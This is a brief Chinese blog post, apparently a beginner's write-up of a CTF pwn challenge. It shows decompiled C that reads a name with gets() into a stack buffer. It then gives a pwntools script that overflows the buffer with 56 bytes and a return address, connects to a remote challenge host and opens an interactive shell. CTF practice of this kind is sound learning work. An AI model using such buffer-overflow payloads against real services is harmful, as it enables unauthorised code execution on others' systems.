第一解出的pwn題
雖然題目不難,但是 是我第一次做出的pwn題,得寫下。
__int64 sub_4007E6() { char s1; // [sp+0h] [bp-30h]@1 memset(&s1, 0, 0x30uLL); puts("Input your Name:"); gets(&s1); if ( strcmp(&s1, "root") ) ::s1 = strdup(&s1); return 0LL; }
這裡有溢位點。s1。
然後就很明確了。就差溢位的地址和覆蓋多少了。
然後看了好久,看不出來。果斷就除錯,然後就直接出來了。
剩下就直接上程式碼了,過程有點想哭。。。還好有師傅給指點了下。
將p.sendline("whoami") 改成了p.interactive()
from pwn import * re_add=0x0000000000400896 for i in range(10000): #p=process("./whoami") p=remote("101.71.29.5",10013) payload='A'*56+p64(re_add) p.recvuntil(">") p.sendline("1") p.recvuntil("Input your Name:\n") p.sendline(payload) p.interactive() p.close()
起初想爆破的。但沒成功。。。所以就。。。
程式碼有點難看。。下次練下 寫好點